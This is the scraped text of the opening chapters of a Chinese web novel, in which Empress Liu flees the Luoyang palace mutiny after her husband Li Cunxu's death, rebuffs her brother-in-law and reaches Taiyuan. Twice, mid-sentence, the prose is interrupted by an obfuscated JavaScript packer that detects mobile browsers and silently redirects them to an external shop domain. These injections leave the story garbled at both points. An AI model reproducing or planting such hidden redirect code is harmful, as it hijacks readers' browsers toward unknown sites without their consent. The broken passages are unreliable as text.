《唐庄宗的缺德皇后重生了》 1. 第1章 洛京宫变 同光四年,四月初一。 孟夏来临,洛阳城燥意逼人。 渐渐升高的烈日烦躁地悬在紫微宫之上。 暑气从地面蒸起,沉甸甸地压在宫阙之间。 这本该又是寻常的一天——庄重沉闷,中规中矩。 然而,乱象骤起! 日光照耀之处,是反光的甲胄、森寒的刀刃,是挡不住的沸腾杀意。 并非外敌来袭。 这个王朝的一部分禁军自己先发了疯! 宫城南面的兴教门前,五百多名皇帝亲军悍然哗变,竟是要亲手推翻他们自己曾经拥戴的帝王! 喊杀声从兴教门涌入皇城。 血腥气在紫微宫内弥漫开来。 宫人宦官四散奔逃。 地上倒着没逃过杀戮的可怜人,有的已当场殒命,有的还在濒死抽搐。 不远处的尚书省与各部官署,如今全都大门紧闭,没有一个人敢出来。 昔日巍峨肃穆的宫城,此刻在兵乱中已然沦为一方人间炼狱。 可身在宫城之中的刘蕙心,却仿佛什么喧嚣厮杀都感受不到。 她只怔怔地站在绛霄殿门口,失神地看着躺在殿外廊檐下的那个男人。 确切来说,那是一具男人的尸体。 男人头上本该戴着一顶独属于帝王的玄色翼善冠,可如今这顶发冠早已不知散落到了哪儿;身上原本干净光鲜的赤黄袍衫此刻也发了皱,蒙上了一层乱蓬蓬的灰,腋下至腹部的地方晕染开大片血迹。 而在殷红血迹之中,一支断箭穿破袍衫,恶狠狠地扎进了男人的血肉之中。 这个曾经睥睨天下的一国之君、曾经所向披靡的当世战神——她的丈夫,大唐皇帝李存勖,在方才亲身与反叛禁军拼杀数轮后,就这么窝窝囊囊地死在了一支流矢之下。 何其荒唐! 刘蕙心无法接受这一切。 她甚至想冲上去对着那具尸体拳打脚踢。 那怎么可能会是她的男人? 她的丈夫怎么可能就这么死了? 她跟着这个混账男人从军十几年,南北颠簸,吃尽了风霜苦难。 直到四年前,她丈夫才终于攻灭了朱温创建的“伪梁”政权,成了中原之地新一代的天下共主。 犹记得灭梁入洛之时,正值那年冬季。凛冽朔风刮过两河之地,文武百官与禁卫仪仗冒着严寒列满洛阳外的石桥。 她丈夫率领车驾浩浩荡荡进入洛阳城内,以中兴李唐之主的身份定都于此,承续大唐正统,光复李唐社稷。 当是时,何等风光! 谁曾想,到头来,李存勖这混蛋坐上皇位还没四年就死了? 而她这个大唐皇后才当了不到两年! 她都还没有享够福,这个混账男人怎么就死了?! 李存勖怎么就敢死? 他怎么能死! 眼里的水雾烫得她眼疼,刘蕙心满脸愤恨幽怨,两手狠狠抓提起艳色襦裙,抬脚就要冲过去狠踹那具可恨的尸体。 然而,她的脚步还没迈出去,肩膀上就倏然落下一只大手,重重按住了她。 “阿嫂,快跟我走!” 声音自她颈后传来。 刘蕙心如梦惊醒,缓缓扭头看向身后。 视野里出现了一张和她丈夫相似的脸。 此人发髻有些凌乱,脸上血迹与汗污斑驳,虽是狼狈不堪,却也依稀可辨出眉眼鼻唇皆是生得极好。他的衣衫已几近血染,手上正提着一柄还在滴血的长刀。 空气中血腥气浮动。 刘蕙心恍惚认出,此人乃是她的小叔——她丈夫的同母六弟,申王李存渥。 方才,李存渥跟着她丈夫一起血战叛军,所以此刻才会出现在绛霄殿中。 仿佛什么机关被按下,刚刚被有意或无意屏蔽在外的喧嚣声,突然像浪潮似的汹涌灌入耳中。 厮杀声凶悍凄厉,令人毛骨悚然。 刘蕙心怵然回过神来,颇有些恍惚地看向宫门的方向,好似这才想起来叛军正在她的不远处。 “阿嫂!” 李存渥见她站在原地没动,又一次催促她。 刘蕙心受惊似的哆嗦了一下,接着像是下定了什么决心似的,矍然回身冲进殿内,以极快的速度翻找出殿内的值钱物什。 “阿嫂!”李存渥跑过来拉住她,“叛军快攻到这边来了!快跟我走!” 刘蕙心恍若未闻,只一心一意地收刮殿内值钱的东西,像是自言自语又像是回答对方似的小声念叨:“这些全都是我跟三郎打拼出来的家业,绝不能留给那群反贼!” 李存渥郁闷得不行。大难临头,他家嫂子不忙着逃命,反而忙着敛财,丝毫不顾忌外面随时会冲进来的叛军。这简直要钱不要命! “阿嫂,命比钱重要啊!”李存渥急得劝了一句。 可刘蕙心根本不听,依旧认真又忙碌地收敛钱财。 见此情形,李存渥只能强行拽着嫂子往外走。 刘蕙心连忙一把抓起自己刚刚收捡到的钱财。 仓皇之间,有些珠宝滑落到了地上。 刘蕙心着急要捡起来,可身子却被人拽着走,根本来不及捡。 “我的钱!放开我!我的钱!我要捡回来!” 刘蕙心颇为疯魔地挣扎起来,仿佛掉在地上的不是珠宝钱财,而是她的眼珠子、命根子。 李存渥只当没听见,一心拽着她逃命。 “我的钱……”刘蕙心无力回天,凄凄喃喃自语,失神地看着地上那些离她越来越远的珠宝。 视线稍稍再一拉远。 只见,一个五坊司的杂役匆匆将殿内的竹木乐器捡来放到皇帝的尸首上,接着倒上灯油,放了一把火。 红如血的烈火点燃了乐器,很快将皇帝的尸首吞没。 “不!” 泪水几乎在一瞬之间夺眶而出,刘蕙心疯了似的想要冲回去捞出尸体。 她的男人不能连一具全尸都没有! “阿嫂!” 李存渥见嫂子突然挣扎得格外厉害,不由得回头看了一眼。 烈火中的尸首映入了眼帘。 李存渥愣怔了一瞬,凄然道:“阿嫂,走吧。” “你阿兄在那里!”刘蕙心抬手指向丈夫的尸体,“你看到了吗?你阿兄在那里!那个混账要烧死你阿兄!他们要你阿兄尸骨无存!” “阿嫂!”李存渥用力晃了一下嫂子的肩膀,“你清醒点!阿兄已经死了!要是不烧了阿兄的遗体,等那群叛军攻进来必然会亵渎阿兄尸首!你难道要阿兄连死后的最后一点体面都没有吗?” 刘蕙心恍如被兜头泼了桶冰水,面色凄惶地愣在了当场。 乱军会怎么处置皇帝的尸首呢? 最大的可能是斩下皇帝的脑袋,耀武扬威地悬城示众,或是拿皇帝的脑袋献给潜在的下一任国君。 而皇帝的尸身可能会被愤怒中的乱军碎成万段,也可能被丢弃到不知哪个犄角旮旯,任其发烂发臭,甚至被野狗啃食。 不论是哪样的结果,都是一国君主所不能承受的奇耻大辱! 这也是为什么历来稍微有点气节的主公都会在战败后一把火烧了自身乃至于全家妻小——说到底都是为了免受事后之辱。 刘蕙心心如刀绞,眼泪簌簌滑出眼眶,于一片蒙蒙水雾中模模糊糊地看见火光将丈夫彻底吞噬。 她家三郎雅好音律,就算行军打仗也是乐器不离手,期间还自创了不少畅行军中的破阵曲。 可到如今,这满屋的珍贵乐器竟让人付之一炬,统统都做了焚烧三郎尸体的庸劣干柴! * 李存渥暗暗叹了口气,拉着嫂子继续逃跑。这次,嫂子就像失了魂儿的牵线木偶,不再挣扎叫嚷,只愣愣地跟着他的脚步行动。 宫里已经乱成了一团。 到处可见奔逃的宫人。 而那些持刀的宫中宿卫则趁乱四处打劫。 金银珠宝、绫罗绸缎、珍玩器物,无数值钱的物什,全被那些卫兵翻找出来。 刘蕙心不可置信地看着这一切,心里又痛又恨。 她忍无可忍,蓦地就近拔出一柄插在柱子上的断刀,举起来就要冲上去跟这群卫兵拼命。 “阿嫂!” 李存渥惊心骇神,当即拦腰抱紧嫂子。他想卸了嫂子手中的刀,偏此时空不出手来。 “放开我,我要杀了这群丧良心的狗兵!” 刘蕙心简直发了疯,恨到咬牙切齿。 虽说今日有禁军作乱,但那毕竟只是一个营的人马在造反,宫内宫外明明还有数千卫队尚可供皇帝调动。 可谁曾想,这群本该听皇帝调度的卫兵,要么迟迟不来护驾,要么就临阵脱逃。 她家三郎得不到有效增援,只能亲自领着数十名近卫冲锋陷阵,以至于中箭身亡! 而这群混账卫兵不曾尽到一点忠君之责,如今竟然还有脸来哄抢他们皇家的家财! 她非要杀了这群狗兵不可! “你疯了吗?!”李存渥惊惧交加,压低声音劝道,“你现在冲上去,最好的结果就是碎尸万段,最坏的结果……” 后面的话,李存渥没有说。 可刘蕙心已经听懂了。 最坏的结果,是被一群乱军轮番凌辱。 她不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426912|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让自己落到这等境地! 刘蕙心颓然扔下刀,痛苦地看着眼前上演的一幕幕残忍现实。 李存渥趁势将断刀踢向一边,半搂半抱着她,继续匆匆往北逃。 叛军从兴教门一路往北攻伐劫掠,他们想要活命,就必须赶在叛军攻来之前从北面出逃。 叔嫂两人或是低头逃命,或是茫然四顾,就像两条夹着尾巴落荒而逃的丧家犬。 “怎么会这样……”刘蕙心戚戚自语,泪流满面。 明明就在去年年底,西南前线还传回好消息说,蜀国已经攻下。 富裕的蜀中已经归附中原。 朝廷实力大增,下一步就是征伐淮南,彻底统一大江南北。 届时,她和三郎会成为像文德皇后与太宗皇帝那样的旷世帝后。 可谁能想得到,短短半年不到的时间内,原本一片大好的形势竟会糜烂到如今这境地? “殿下!申王!”混乱中,一个身穿甲胄的将领和他们意外碰了头,“可算寻着二位了!快,臣护送二位离开!” 刘蕙心瞥了将领一眼,目光中不由得流露出几分讥诮,嘴上并未予以什么回应。 此人乃是她丈夫的心腹爱将——振武节度使兼同平章事,李绍荣。 虽然李绍荣表现得忠心耿耿,可局势坏到如今这地步,和这人也脱不了干系。 李绍荣本人估计也是心知肚明,所以见她态度流于冷淡,也只是惭愧地转开脸去,愈发卖力地在前开路。 他们一行人于宫城北面的师子门奔逃而出。 刘蕙心虽对李绍荣有怨,但也不得不承认,此人的确是一员悍将。 在这般仓促的情况下,李绍荣竟然也聚拢了七百来人的队伍,一路强势开道,颇有神挡杀神、佛挡杀佛的气势。 * 然而,到了当晚,刘蕙心的这种想法就有些改变了。 悍将归悍将,可要是失了人心,身边纵有再悍勇的将领又有何用? 明明逃出宫时还有七百来人,可在接下来的路途中,士兵不断溃散逃逸,短短一个下午过去,到如今这支队伍竟只剩下了数十人。 此等场面太过凄凉,刘蕙心几乎又要落下泪来。 她丈夫明明是最得军心之人,当年讨伐幽州刘守光时,无论情况多么艰难,将士们都是悍不畏死,不离不弃。 可到如今,她夫君明明得了天下,正该是人心最稳固之时,却为何偏偏失了众人的追随之心? 本该保护她丈夫的禁军居然发动宫变,本该和她丈夫奋力抗敌的近卫却临阵脱逃,如今本该护卫她出逃的士兵也逃得七七八八。 人心怎会离散到这等地步! 刘蕙心痛心疾首,到此刻忍不住反复质问自己:如果在去年年底取得伐蜀大捷后,她没有顺着丈夫的意思下令处死伐蜀大将郭崇韬,人心是否就还在?局势是否就会和如今不一样? “阿嫂,吃点东西吧。” 突如其来的话打断了刘蕙心的思绪,她恍然回神,这才看到自己面前不知何时递来了一张胡饼。 她恹恹地接过来咬了一口,目光触及面前的篝火时,脑海里不期然地浮现出丈夫身陷火海的样子。 那个曾经意气风发的九五至尊,最后竟走得如此仓促又不体面,都不知她日后还能不能有机会找回他的骨灰。 念及此,刘蕙心喉间涌起一股难以抑制的哽咽之意,让她几乎连胡饼都咬不下去。 “阿嫂……” 忽有什么东西触碰在她眼下。 刘蕙心惊然醒神,就见李存渥正用拇指轻轻擦拭她眼下的泪痕。 一个当小叔的人竟然在众目睽睽之下伸手给新寡的嫂子擦眼泪,何其孟浪! 刘蕙心又惊又恼,连忙背过身去避开李存渥的手,自己捏起袖子擦了擦不知什么时候又掉出来的眼泪,强做镇定道:“让小叔见笑了。” 李存渥缓缓收回手去,目光幽深地盯着自家嫂子。 他知自己方才的举动落在旁人眼里或许流于轻浮,可刚刚看着嫂子垂泪伤心,他心底里某些压抑已久的心思就躁动得厉害。 过去因为兄长压在他头上,有些事他只能想却不能做;可如今压着他的人已经不在了,有些事他就是既能想也能做了。 篝火在俩人之间燃烧,恰如暗夜里悄然滋生的欲望。 李存渥低沉开口道:“阿嫂,如今阿兄走了,以后你就跟着我吧。” 跟着你?! 刘蕙心惊怒莫名,真想一口唾沫星子啐在这个男人脸上。 这人是得了失心疯吗?她丈夫尸骨未寒,李存渥一个当亲弟弟的人就撺掇着新寡的嫂子给他当妾室? 2. 第2章宗室逃难 李存渥当然没疯,他清醒得很。 他直勾勾地盯着近乎惊呆的嫂嫂,暗忖他家嫂子虽已虚龄三十有五,脸上也依稀有了风霜痕迹,但却犹如深藏地窖的美酒,随着年岁过去,非但不减损其韵味,反而愈发醇香动人,就连如今这受惊半呆的模样也别有一番风情。 李存渥微咽了下喉咙,低声继续道:“我会做阿嫂的依靠。” 做她的“依靠”? 简直可笑! 她用得着依靠李存渥来过活吗? 她还有她的儿子,魏王李继岌(jí)。 继岌此前率领六万大军西征巴蜀。 如今巴蜀已定,继岌也奉命回师。 等她家继岌率领几万雄师赶回洛阳,定会将叛军杀个落花流水。 到那时,继岌自会迎她回宫,她会是尊贵的皇太后,何至于现在要委身于李存渥这个色心上脑的莽夫? 心里虽是如此不满,但她如今和李存渥一同逃难,路上少不得有依仗这人的地方,万不能在这时候跟人翻脸。 刘蕙心强端出温和又不失疏离的模样来,“六叔莫要说笑了。若真让你这个小叔纳了我这个新寡的嫂子,人家一口一个唾沫星子都能淹了你我。” “不是‘纳’,是‘娶’。”李存渥倾过身去,由盘坐改为了单膝跪地的姿势,伸过手去握住了嫂子的手,“阿嫂若肯跟了我,我又怎会委屈阿嫂做妾?阿嫂也该知道,我这颗心其实一直都是……” “六叔!”眼瞧着这男人越说越不像话,刘蕙心连忙低呵一声打断了对方的话。 她微沉了脸,兀自抽回手来,压低声音半是威胁半是劝告地道,“小叔娶寡嫂,娶的还是新寡的皇后,这事儿要成了真,天下人还不得生吞了你我?” “那怎么会?”李存渥不以为然,打心底里没觉得自己现在的行为有什么不对,“我沙陀男儿不都是兄长走了收继寡嫂?” “就算不按我沙陀的规矩来算,他们中原皇室不也是这么干的?太宗皇帝可不就是纳了自己新寡的弟媳?高宗皇帝还纳了自己守寡的庶母。” “玄宗皇帝更是连自己的儿媳都纳,当时他儿媳都还没守寡呢,他硬是把自己儿子的正妻抢过来当妾,真是比我沙陀男儿都还不讲究呢。” “汉家儒生肯定也觉得玄宗此举非比寻常。那个叫‘白头翁’的儒生不是还特意把这事儿写成了《长恨歌》嘛。这诗歌传唱天下,大肆宣扬‘阿翁抢儿媳,真乃情动天地’。” “阿嫂你想想,汉家文人连阿翁抢儿媳都要专门写成诗歌来盛赞一番;若是咱们两叔嫂凑一块儿,落到他们文人笔下,岂不又是一桩天下美谈?” 刘蕙心目瞪口呆,作为一个汉家娘子,她万万没想到,自己有生之年竟会听到有人会如此解读李唐皇室的宫廷秽闻。 这难道……就是胡人跟汉人的风俗差异? 她丈夫李存勖虽自称是李唐宗室,但实际上,她丈夫一家原本出身于突厥沙陀贵族,只不过因祖上在唐懿宗年间平乱有功,才被李唐皇室赐姓“李”,还纳入了李唐宗室族谱。 如果说,她丈夫是合格的“汉化”沙陀人,那她的这帮子小叔顶多只能算“半汉化”的沙陀人。 譬如方才那番话——李唐皇室那点兄夺弟妻、子夺庶母、父夺儿媳的腌臜秽闻,试问有哪个汉家男儿能如此理直气壮且满怀认同地说出来? 也就她家这位还保有胡人习性的小叔,才能以稀松平常的口吻说出此等惊世骇俗的话来。 尤其是关于《长恨歌》的那番论断,真真是荒唐得没边儿了。 写这首诗的人根本不敢挑明玄宗皇帝和杨贵妃的翁媳关系,甚至刻意模糊事实,造成一种帝妃两人完全没有涉及伦理问题的假象。 结果到她六叔这里,这倒反成了赞美阿翁与儿媳的畸恋之歌了? 再说了,人家诗人叫“白乐天”,什么时候改叫“白头翁”了? 她家六叔这学问根底简直比她还差,估计是听到旁人尊称白乐天为“白翁”,就直接把人家的名儿给记岔了。 刘蕙心暗里直叹气,这种涉及风俗文化差异的问题真不是一言两语能说得清的。 更何况,她这位六叔还是个犟种,她若是辩一句,他就能原地驳十句。 眼下,她还不如转移话题,糊弄过去为妙:“这话还是等我们安定下来了再说吧,眼下保全性命才是根本。” “六叔可别忘了,李绍荣是咱们官家的心腹爱将。他肯护送你我,那都是看在官家的情分上。” “若是让李绍荣看到你在这个时候跟我攀扯不清,那不是寒了他的心吗?到时候,李绍荣一气之下不再护送咱们还是小事。” “若是他忠君念头一上来,非要为官家肃清宫闱,那还不知要做出什么血腥事情来呢。” 这番话软中带硬,看似温温柔柔地为人好,实则句句都在威胁人。 李存渥悚然一惊,但又武人气性发作,拇指一挑刀柄,登时长刀“唰”的出鞘一分,怒目低斥道:“他敢!” 刘蕙心原本想让小叔知难而退,哪曾想这人竟发了气性。她曲容安抚:“李绍荣知分寸,只要你我不越矩,他又哪敢对你我不恭?” “我何曾越矩!”李存渥金刚怒目,愈发感觉受辱,手握刀柄登时就有抽刀之势。 刘蕙心心中一骇,面上倒是半分不显。对付男人,她向来有一套。 哪怕李存渥现在气势可怖,她也不见发憷,反而四两拨千斤地轻轻按住李存渥的手背,稍一用力往里一推,出鞘几寸的刀身就被全然推回了刀鞘之中。 “六叔何必动气?”刘蕙心语气温和又郑重,轻轻柔柔地就把话题引到了正头上,“眼下这时节,正需要我们共克难关,又岂能自己人先起了内讧?你且告诉我,我们如今逃到哪儿了?” 被自家嫂子这么温声细语地哄着,李存渥哪里还发作得起来。 更何况,方才手背让嫂子那么轻轻一碰,他就算有再大的气也散了个干净,心里少不得暗暗美上几分。 他也不想被嫂子看低了,讪讪收了刀,盘坐下来正色道:“已经到新安县了。今天一口气跑了一百多里,别说人受不住了,马也累得不行。明天看能不能去驿站换马,不然这一路可够呛。” 刘蕙心略一思索,问道:“我们这是要去北都?” 北都即是太原。 她丈夫在入主洛阳后,将李唐王朝原本的都城长安定为西京,洛阳定为东都。 而太原作为她丈夫一家的发家之地,则被定为北都。 眼下,东都洛阳被叛军占据,他们一行人逃往北都太原老巢避难,属实再正常不过。 “我是想去河中(今山西蒲州)投奔四哥。”李存渥道,“如今东都落陷,邺都也被叛军占领了。好在四哥兼着河中节度使,我们也算有个去处。再者,河中乃是关隘之地,到时我们据城固守,叛军又能奈我们何?” 刘蕙心却是微微凝眉,对此行远没有这么乐观。洛阳禁军连皇帝都射杀了,地方上的这些将士又岂能不心思浮动? 怕就怕到时候河中的这些将士非但不愿意跟他们一起守城,反而还临阵倒戈砍了他们脑袋去投诚。 可纵使有这样的风险,他们也只能硬着头皮去投奔地方守将。毕竟除了这条路,他们现在真真是无路可走了。 不远处,坐在火堆边的一个士卒往这边瞅了一眼。 见两位贵人几乎靠坐在了一起,士卒鄙夷地低声啐了一口,“陛下尸骨未寒,皇后就跟申王摸黑拉拉扯扯,这算个什么事儿?” 其余士卒暧昧相视,虽是没敢接这话,但也满脸讥诮下流之色。 “铮——” 这时,一声刀锋出鞘的金属摩擦声蓦地响起。 紧接着,方才说话的那个士卒就喉咙上多了条血痕。 他大睁着眼睛捂着冒血的脖子,嘴里发出“嗬嗬”的破风声,抽搐地歪倒在地,死不瞑目。 在场的士卒惊惧交加,大气不敢喘一声,纷纷扭头朝动手的人看去。 此人乃是他们的将领,李绍荣。篝火将他的脸照得半明半暗,宛如地狱修罗。 他将染血的刀搁护腕上擦了擦,这才收刀回鞘,就像看死人似的盯着这群士卒,冷声警告道:“谁敢辱没皇后,就跟他一个下场!” 话完,李绍荣起身朝皇后那边走了过去。 士卒们望着他的后背,俱是又惊又惧。 有士卒不服气,悻悻小声骂道:“呸!搁咱们面前耍什么威风呢?真以为陛下死了,他就能称王称霸了?也不怕明天就被追兵砍死了!” “诶!”旁边的同袍扯了下他的衣袖,用眼神示意他不要口无遮拦。 这士卒又恨又怕,这才悻悻闭了嘴。 另一厢。 刘蕙心忽见得不远处出了人命,心中正惊疑不定,就见李绍荣在晦暗夜色中提刀朝她走了过来。 这人生得高大,迎着篝火走到她面前跪下时,就像一头假装臣服的桀骜猛兽。 “殿下。”李绍荣持刀单膝跪地,恭敬地垂着头道,“方才有人攀污殿下与申王清誉,臣已将其处决,若有惊扰殿下之处,还请殿下见谅。” 刘蕙心惊心骇神,只凭这番话便已大概猜出了事情经过。 她草草瞥了眼地上躺着的那个刚死之人,强作镇定道:“你做得很好,何来惊扰一说?快起来吧。” 李绍荣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426913|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却没有起身,而是转头看向一旁的李存渥,“恕绍荣斗胆直言,大王与殿下叔嫂有别,若是言行过密,只恐底下的人风言风语,累及大王与殿下名声。” 当世,“大王”是对诸王的敬称,而“殿下”则仅能用于称呼皇太子、皇后和皇太后。若是哪个藩王敢让下属称呼其为“殿下”,那就是僭越。 李绍荣现在一口一个“大王”“殿下”,虽说是出于恭敬,可又何尝不是在刻意强调两人身份有别。 李存渥脸上霎时青一阵红一阵的,方才他家嫂子还提醒他,李绍荣说不准会为了“肃清宫闱”大开杀戒,他原本听着就来气,哪曾想这话转眼就成了真。 依他的脾气,他现在就要跟李绍荣这个不分尊卑的草莽打一场。 但想到方才嫂子劝慰他的那些话,李存渥硬是把这股气忍了下来,黑着脸道:“李相公所言极是,是寡人考虑不周了。” 虽然后世总误以为“寡人”是皇帝的专属称谓,但事实上,皇帝并不以此自称,此乃诸侯的自称。 (春秋战国之时,“寡人”也可作为国君的自称。但彼时尚无“皇帝”这一尊号,这些自称“寡人”之人,上至周天子,下至列国国主,自然也并非“皇帝”) 当世还没有诸如“本王”“本宫”“本官”等“本+官爵”的自称模式。 对于诸王来说,权贵圈子默认“寡人”仅能用于太子或宗室亲王的自称。 非宗室血脉的异姓王,哪怕被赐了皇族姓、入了皇室族谱,理论上也没资格自称“寡人”,而只能自称“孤”。 可纵然有这些讲究,日常交流中,不论是太子还是亲王,都仍以自称“我”为主。 若是在非正式场合下自称“寡人”,难免有种刻意炫耀身份之感,非但难显尊贵,反让人觉得做作,这就成“求荣反辱”了。 可若是含怒自称“寡人”,那就又不同了,往往这意味着敲打泄愤与阴阳怪气齐飞。 李绍荣却只当听不懂申王话里的不满,面不改色地继续跪在皇后面前,铁了心要打破叔嫂二人的独处态势。 李存渥气得很,扭头朝嫂子看了过去。见嫂子以目示意他要沉住气,他只好硬憋住一肚子的火,拿着刀起身走到了几步开外的地方坐下,以实际行动表明自己在跟亲嫂子避嫌。 刘蕙心见状,这才暗暗松了口气。 她瞥了眼仍旧跪在面前的将领,五味杂陈地道:“起来吧。” 虽说她对李绍荣存着怨气,可眼下也确实多亏了这人维护她,不然她家六叔还会没分寸地黏在她身边。 李绍荣却仍旧跪地不起,低着头道:“殿下,臣本微末之人,幸得陛下与殿下恩遇,才位极将相。” “今日,臣未能护陛下周全,自知万死难辞其咎。待臣护卫殿下度过此次难关,臣就……以死谢君!” 话到最后,李绍荣哽咽起来。 他虽低着头,但刘蕙心还是借着昏暗的火光看到这人脸上滑下了一滴泪,落到地上,悄然无声。 刘蕙心说不清是个什么心情,这人哭得应该还算真心。 可这份真心里到底有几分在为皇帝哭,有几分在为他自己的前程哭,谁又能说得清呢? 李绍荣虽明面上在向她请罪,可又何尝不是在借机试探她的态度? 刘蕙心心如明镜,虚扶了这位将领一把,“起来吧。若是此次能渡过难关,你便是我大唐的功臣。朝廷又怎会弃功臣于不顾?” 李绍荣倏然抬头看了她一眼,似是没想到他就这般逃过了问罪。 但他很快意识到尊卑有别,立刻红着眼眶复又低下头去,哽咽道:“谢殿下恩容!臣定死效左右,以报国恩!” 刘蕙心如今烦忧难过着,不想跟这人多打官腔,拂了下手,示意对方可以退下了。 李绍荣郑重行了一礼,这才起身告退。 …… …… 接下来几日,一行人继续狼狈赶路,总算在出逃的第十三日抵达了——太原。 他们终究还是去了北都。 只因先前抵达河中后,他们才惊然得知,原来李存渥的四哥永王已经先他们一步出逃了。 如今河中根本就靠不住,他们只能拼命往北都跑。 原本就只剩下数十人的队伍,在逃亡过程中不断溃散逃逸,就连负责保护他们的大将李绍荣也被乱民抓走了。 到现在,哪怕加上刘蕙心和李存渥在内,他们这行人也只剩下了五人。 他们这寥寥几人骑马驻足太原城下,分外落魄凄凉。 而在高高的城墙之上,北都巡检李彦超却根本不给他们开城门,“大王携兵前来,且未奉诏行事,彦超不敢擅自接纳。” 3. 第3章邀名卖直 李存渥如今没权没势,只能曲意说软话:“李巡检有所不知,如今陛下遇难,洛阳已被叛军占领。我等死里逃生,历经万难才奔至北都,还望李巡检垂怜庇佑,容许我等进城。” 李彦超骇然失色:“陛下已经罹难?” “不错。”李存渥面露哀凄,心底里仍幻想着李彦超能接纳他们入城。 须知,“巡检”并不是小官,若是排头带上“北都”“东都”等诸如此类的都城头衔,那就更是地位超然,非得要刺史级别以上的高官才有资格充任。 且此人必定是天子信重之人,不然天子绝不敢把这等都城要地的军事巡防权交托出去。 就拿此时担任北都巡检的李彦超来说,此人的父亲乃是天子的养兄,算起来大家都是同姓同宗的一家人。 李存渥心里这么想着,嘴上也就这般说了:“李贤侄,说起来你我也是叔侄一场,堂叔有难,你一个当侄子的总不至于见危不救吧?” 李彦超并不答话,脸上沉肃到可怕,也不知究竟是何想法。 刘蕙心大感不妙。 李存渥也觉得不妙,但仍旧心存幻想,试图拿情分说服对方:“李贤侄,退一万步说,就算你不顾念这叔侄情分,可也总得念着陛下对你的好吧?” “陛下素来待你如亲子,对你家几兄弟都加以重用,更是将北都重地都托付给你。如今,陛下不幸罹难,我等陛下亲眷前来投奔,贤侄难道忍心见死不救?” 李彦超仍旧绷着脸不接话。 初夏的暖风夹杂着黄沙吹过,城上城下蒙上一层无声的凝重。 片刻后,李彦超忽而动了。 他转身面对北面,戚戚然抬手行了一礼,仰天大喊了一声:“陛下!” 历来中原天子都是坐北朝南,在天子不在场的情况下,臣子面对北方行礼,就是在遥遥向君主拜礼,是忠君知礼的表现。 拜礼完毕,李彦超就在城楼上当着一众将士的面“哇”地一声嚎泣出声。 那哭嚎来得太速太猛,直叫周围人惊得一个愣神,身上的毛孔都不觉炸裂开来,后背甚至都有了丝丝凉意。 这位高大威猛的守城之将真真是哭出了天崩地裂之势,像是生怕别人看不出他在为先帝哭丧一样。 他一边哭,一边还要捶打胸膛,几次哭到快要背过气去,真真像是比死了亲爷、亲娘还要难过,生动诠释了何为“如丧考妣”,端的是一副忠臣派头。 李存渥这个亲弟弟都还没为自家皇帝亲兄长这般哭过,此时见李彦超这个外人哭得肝肠寸断,他身为皇帝的亲兄弟也大受感染,不知不觉中,眼眶渐渐湿润。 在自家亲兄长死后的第十三天,李存渥终于在外界的打动下,凄凄惨惨戚戚地也跟着落下了第一滴泪来。 随行的几个部下不知是触景生情,还是真的也忍不住为先帝难过,竟一个个的也跟着抹起了眼泪。 一时间,城上城下竟形成了一种“忠臣齐哭先帝”的悲壮场面。 刘蕙心在这时却根本流不出一滴眼泪,只冷冷看着这一场邀名卖直的政治表演。 她一个做遗孀的都还没有这般嚎啕大哭过,这群男人又在这儿嘤嘤哇哇地哭什么丧? 真以为哭得越大声就越是显得忠心为主吗? 真要有那么忠于她家三郎,李彦超现在怎么不立刻大开城门迎他们进去?怎么不说要领兵打去洛阳为先帝复仇? 这个李彦超分明就是个官场老滑头,面子功夫做得十足,实际上却害怕引火烧身,根本就没打算接纳他们入城。 她今日要想进城,靠李存渥根本行不通。 她只能靠自己! 刘蕙心控住胯.下马匹,仰头看向城上之人,毫不客气地喝断对方的哭嚎:“李彦超,你不敢纳藩王入城,难道连我也要拦在外面吗?陛下才刚宾天,你就敢不认我这个皇后了!” 李彦超惊然变色,他方才见这妇人与申王李存渥同行,只当这人是申王的内人,哪曾想对方竟有如此身份! 遥想当年进宫面圣,他倒是也曾远远见过皇后一面,虽是没看真切,但那身形似乎与眼前这位妇人确实有几分相似。 再则,这妇人虽风尘仆仆,早已看不出衣着华贵与否,可单就她这一身凌然傲人的上位者气势来看,不是皇后本尊又能是谁呢? 他李彦超身为臣子,找借口不接纳藩王尚且情有可原,可若是敢把堂堂一国之母拒之城外,那可就是“大不敬”了,甚至涉嫌“谋反”! 更何况,如今洛阳的形势还不甚分明,虽说皇帝已经死了,可魏王李继岌正统领几万大军自西川往回赶,鹿死谁手还不好说。 刘皇后可是魏王的生母。 他若是在这个时候把刘皇后给得罪了,那不是自断一条退路吗? “皇后殿下恕罪!” 李彦超相当识时务。 他能屈能伸,当即抹了一把脸上的泪就准备下跪认罪。 但想到在城楼上下跪,皇后在城底下根本就看不到,他那刚要弯下去的膝盖就瞬间打直了,转而亲自跑下城楼,命令士兵开门迎接。 不过,李彦超只肯迎纳皇后一人,申王等人仍旧不包含在内。 “李彦超,你好大的胆子!”李存渥见嫂子耍官威唬住了李彦超,就也想依葫芦画瓢。 只可惜,李存渥只看到了形,没看到神,不知这一招只有他家嫂子用出来才有威力。旁人用来都只是徒劳无功,甚至是自取其辱。 “申王,”李彦超虎起脸来,公事公办地道,“彦超职责所在,不敢擅纳藩王,还请大王去别处相就吧。” “你……”李存渥涨红了一张脸,被堵得下不来台。他转而看向自家嫂子,试图找寻助力,“阿嫂,你看看他……” 